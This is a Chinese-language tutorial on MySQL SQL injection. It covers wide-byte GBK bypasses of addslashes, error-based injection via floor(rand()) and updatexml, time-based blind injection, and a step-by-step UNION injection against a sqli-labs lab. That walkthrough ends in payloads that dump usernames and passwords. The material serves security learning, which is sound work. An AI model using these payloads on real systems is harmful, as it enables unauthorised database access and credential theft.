前言
- 这里就不过多的说一些基本的数据库常识及增删改查了,主要针对注入的一些语句及转义语法的讲解
这个文章也会根据自身不断收集不断地更新.....
需要记住的几个基础且重要的函数:
数据库:information_schema
表名字:
information_schema.schemata
作用:数据库中的所有的 库名
information_schema.tables
作用:数据库中的所有的 库名,表名
information_schema.culmns
作用:数据库中的所有的 库名,表名,字段名
1.SQL注入条件
- 参数用户可控: 参数前端传入后端这个过程客户是可控的;
- 参数带入数据库查询:传入的参数拼接到SQL语句并带入数据库中进行查询;
Tips:
自Mysql5.0之后数据库中有个默认库(information_schema
)需要记住该库下三张表
表名: 1.SCHEMATA
2.TABLES
3.COLUMNS
2.SQL 注入的分类
SQL 注入的分类基本上都是根据在注入的方式进行分类,大概分为以下 4 类
布尔注入
:通过页面判断条件真假进行注入;联合注入
:使用union进行注入 ;延时注入
:不能根据页面返回内容判断,用条件语句查看延迟语句是否执行(即页面返回时间是否增加)来判断;报错注入
:页面会将错误sql语句结果返回到页面由此进行进一步注入;- 以上是根据常见的注入方式进行分类,但是通常杢说 SQL 注入只分为字符型戒者数字型
比如:
数字型 1 or 1=1
字符型 1’ or ‘1’='1
3.常用编码转义符
http://doc.chacuo.net/ascii
4.宽字节注入
原理:
Tips:
addslashes() 函数的基本介绍
- addslashes --使用反斜线引用字符串
- 定义和用法
- addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
- 预定义字符是:
- 单引号(’) 双引号(") 反斜杠(\) NULL
利用GBK编码的时候,会认为两个字符是一个汉字(
前ASCII码要大于128,才能到汉字范围
)
据个人可知,当数据库使用GBK
或addslashes()
及iconv()
编码格式及函数才可能存在宽字符注入漏洞
宽字节注入过程如下:
- %df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運
’
#这里还有个点- 用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql
当这行代码在代码层被写入时,三个字符集(客户端、连接层、结果集)都是GBK编码。- 为了避免用户输入的GBK字符形成乱码,网站真正的做法是会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句
- %e5%5c%27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca6\’
MySQL处理sql语句原理
- 编码指的是字符集,有两个方面
1.
存储字符2.
映射关系,也就是真正的编码,各种字符集的存储字符千篇一律,而编码却各不相同且编码才是具有实质性作用的地方。- 原本系统数据存储采用GBK字符集,因版本原因,升级后系统必须采用latinl字符集来存储,所以新的数据库中存储的是GBK的字符,而使用的是latinl的编码,所以这种数据只能在需要GBK的页面显示,其他字符集的地方则是乱码。
上面的UTF-8的SQL代码,但是如果转成GBK时,e98ca6\’实际是錦’
string addslashes ( string $str)
//addslashes 函数逃逸
1.把\弄没即可;
2.转义\符号,在\前面多加\符号这样就被转义了
' -> \' -> %5C%27
%df ' -> %df\' -> %df%5c%27
#mysql认为%df是一个汉字,这样'就可以逃逸出来
#以上是转码以后的字符
5.报错注入
原理:
- 第一次计算可以是0也可以是1,当第一次得出来的值假设为0的话写入虚表记录则开始下一次计算,得为0到实表中,而下一次可能会计算出0或者1只要虚表两次计算的值一样则报错,所以使用 floor(rand()*2)&floor(rand(0)*2) 从而实现报错注入。
报错的原理推测:
从select floor(rand(0)*2) from table 可知再一次多记录过程中floor(rand(0)*2)的值是具有定性,为011011,就是被floor(rand(0)*2)多次计算导致;
- group by 查询前会建立一张空>
虚拟表
- (1) 取第一条记录则执行floor(rand(0)*2),发现结果为0,查询虚拟表,(2) 发现0的键值不存在,则floor(rand(0)*2)会被再次计算,结果为1并插入虚表 (3) 查询第二条记录时,再次计算floor(rand(0)*2)发现结果为1(第三次计算查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条查询完毕。
公式:
- select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x;
相关函数解释:
- 首先rand()函数生成0~1函数,其次使用floor函数向下取证,因为值是固定"0" 所以将rand()*2 得到的值就是不固定的"0" or “1”;
updatexml()函数用法:
使用方法:
- select updatexml(1,concat(0x7e,(select @@version),0x7e),0) from user_info;
- updatexml 第二个参数需要的是Xpath格式的字符串,输入不符合因此报错,updatexml的最大长度是32位的;
- select extractvalue(1,concat(0x7e,(select database()))); #或者可以查当前用户
6.基于时间的盲注
Tips:
这里更多的是讲解关于数据库的函数
- SLEEP(duration)函数:
再duration参数使用给定秒数,然后返回时间会超过给定的duration 参数以上的时间说明注入成功(没有啥实质性作用只是判断select语句是否被传进去);- substr()函数:
substring()和substr()
用法如下:
SUBSTRING(str,pos)
SUBSTRING(str FROM pos)
SUBSTRING(str,pos,len)
SUBSTRING(str FROM pos FOR len)
SUBSTR(string, start, length)
For example:
7.UNION查询注入
Tips: 可以生成UNION 注入的必备环境
- 各个查询必须返回相同数列。
- 每列中的数据类型必须在各个查询之间兼容。
首先得分析一下是否存在注入,而不是以上来就直接union注入测试,首先得明白思路所以拿无脑式进行注入
1. 测试是否存在注入: -1' 10000=10000--+
2. 联合查询猜测可注入字段位置: -1' union select 1,2,3--+
3. 判断数据库版本及当前数据库名称: version() database()
4. 查找当前库有那些表: -1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = '当前库名' --+
5. 查询表字段: -1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = '表名'--+
6. 最终通过已知的库名表明直接查询: -1' union select 1,group_concat(username,password),3 from 库名.表名
第四点思路:
1. 其实union 用法主要用法就两个:第一个,可以同时查询两张表的数据并汇总到一个虚拟表中,前提必须字段属性一致的前提下,第二个就是,查询表的字段数,进行判断可用的字段,通过可用字段进行注入查询语句,group_concat()函数是将select出来的结果进行统一输出
2. 最终思路就是:发现注入点—联合查询猜测可用字段—通过字段进行注入查询informaiton_schema库中的tables/columns查询表与库的信息—最后获取用户密码
知识拓展
GROUP BY 用法:
MariaDB [games]> select id,name from group_by ;
+----+------+
| id | name |
+----+------+
| 1 | aa |
| 1 | aa |
| 1 | bb |
| 2 | bb |
| 2 | aa |
| 3 | ii |
| 3 | aa |
+----+------+
7 rows in set (0.00 sec)
MariaDB [games]> select id,name from group_by group by id ;
+----+------+
| id | name |
+----+------+
| 1 | aa |
| 2 | bb |
| 3 | ii |
+----+------+
3 rows in set (0.00 sec)
MariaDB [games]> select id,name from group_by group by name ;
+----+------+
| id | name |
+----+------+
| 1 | aa |
| 1 | bb |
| 3 | ii |
+----+------+
3 rows in set (0.00 sec
#作用是会通过group by 进行字段整合将相同的值显示一个如:"select id,name from test group by id;"
oreder by:
Oreder by作用: 可通过查询整张表的列数有多少,命令:-1’ order by 3–+
注入编码格式:
- 0x 是十六迚制的标志,3a 即十六迚制的 3a。 0x3a 在 ASCII 码表代表:冒号
- MariaDB [security]> select group_concat(username,0x3a,password) from users;
- http://192.168.1.63/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(username,0x3a,password),3 from users–+
- HTML 中换行符用<hr />来表示,但是我们需要转换成十六迚制 0x3C,0x68,0x72,0x2F,0x3E
- 将十六迚制的换行符添加到 password 字段后,注:password 后面必须添加一个逗号
http://192.168.1.63/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(username,
0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users–+